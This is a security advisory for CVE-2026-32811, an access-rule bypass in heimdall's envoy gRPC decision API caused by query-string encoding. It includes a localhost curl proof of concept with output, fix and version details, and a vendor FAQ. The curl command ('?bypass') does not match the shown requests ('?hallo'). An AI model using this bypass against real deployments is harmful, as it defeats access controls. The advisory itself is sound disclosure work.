CVE-2026-32811

When using heimdall in envoy gRPC decision API mode, wrong encoding of the query URL string allows rules with non-wildcard path expressions to be bypassed.

The HTTP based decision API is NOT affected, and proxy mode is NOT affected either.

Note: The issue can only lead to unintended access if heimdall is configured with an "allow all" default rule. Since v0.16.0, heimdall enforces secure defaults and refuses to start with such a configuration unless this enforcement is explicitly disabled, e.g. via --insecure-skip-secure-default-rule-enforcement or the broader --insecure flag.

Details

Envoy splits the requested URL into parts, and sends the parts individually to heimdall. Although query and path are present in the API, the query field is documented to be always empty and the URL query is included in the path field [1].

The implementation uses go's url library to reconstruct the url which automatically encodes special characters in the path.

https://github.com/dadrus/heimdall/blob/1faba9e4160bd7ab3240cf6aa418e21bfef3401a/internal/handler/envoyextauth/grpcv3/request_context.go#L109-L115

As a consequence, a parameter like /mypath?foo=bar to Path is escaped into /mypath%3Ffoo=bar. Subsequently, a rule matching /mypath no longer matches and is bypassed.

PoC

Using the example docker compose setup, the demo:public rule is bypassed when adding a query parameter.

docker compose -f docker-compose-envoy-grpc.yaml -f docker-compose.yaml up

curl http://127.0.0.1:9090/public
Hostname: 80201fead1c7
IP: 127.0.0.1
IP: ::1
IP: 172.23.0.3
RemoteAddr: 172.23.0.5:37056
GET /public HTTP/1.1
Host: 127.0.0.1:9090
User-Agent: curl/8.19.0
Accept: */*
X-Envoy-Expected-Rq-Timeout-Ms: 15000
X-Forwarded-Proto: http
X-Request-Id: 0a1f0f06-75ef-4f14-92af-16162ea1d9e5

curl -v http://127.0.0.1:9090/public?bypass
*   Trying 127.0.0.1:9090...
* Established connection to 127.0.0.1 (127.0.0.1 port 9090) from 127.0.0.1 port 47876 
* using HTTP/1.x
> GET /public?hallo HTTP/1.1
> Host: 127.0.0.1:9090
> User-Agent: curl/8.19.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 401 Unauthorized
< date: Sat, 14 Mar 2026 16:34:17 GMT
< server: envoy
< content-length: 0
< 
* Connection #0 to host 127.0.0.1:9090 left intact

When using the HTTP decision API variant, the second request is matched by the rule as well:

docker compose -f docker-compose-envoy-http.yaml -f docker-compose.yaml up

curl http://127.0.0.1:9090/public?bypass
Hostname: 80201fead1c7
IP: 127.0.0.1
IP: ::1
IP: 172.23.0.4
RemoteAddr: 172.23.0.2:38044
GET /public?hallo HTTP/1.1
Host: 127.0.0.1:9090
User-Agent: curl/8.19.0
Accept: */*
X-Envoy-Expected-Rq-Timeout-Ms: 15000
X-Forwarded-Proto: http
X-Request-Id: 5c961bc6-ad03-4a44-982b-abe04566fdd2

Everyone using heimdall with the envoy gRPC API may be affected. Users who configured a deny list in heimdall (with an allow-all default rule) are affected, as attackers can potentially circumvent a specific block rule by adding query parameters.

[1] https://github.com/envoyproxy/envoy/blob/105b4acd422d67fcff908ec38d91c7676d079939/api/envoy/service/auth/v3/attribute_context.proto#L146-L147

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

CVE-2026-32811 has a CVSS score of 8.2 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.17.11); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-32811? CVE-2026-32811 is a high-severity incorrect authorization vulnerability in github.com/dadrus/heimdall (go), affecting versions >= 0.7.0-alpha, <= 0.17.10. It is fixed in 0.17.11. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
2. How severe is CVE-2026-32811? CVE-2026-32811 has a CVSS score of 8.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/dadrus/heimdall are affected by CVE-2026-32811? github.com/dadrus/heimdall (go) versions >= 0.7.0-alpha, <= 0.17.10 is affected.
4. Is there a fix for CVE-2026-32811? Yes. CVE-2026-32811 is fixed in 0.17.11. Upgrade to this version or later.
5. Is CVE-2026-32811 exploitable, and should I be worried? Whether CVE-2026-32811 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-32811 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-32811? Upgrade github.com/dadrus/heimdall to 0.17.11 or later.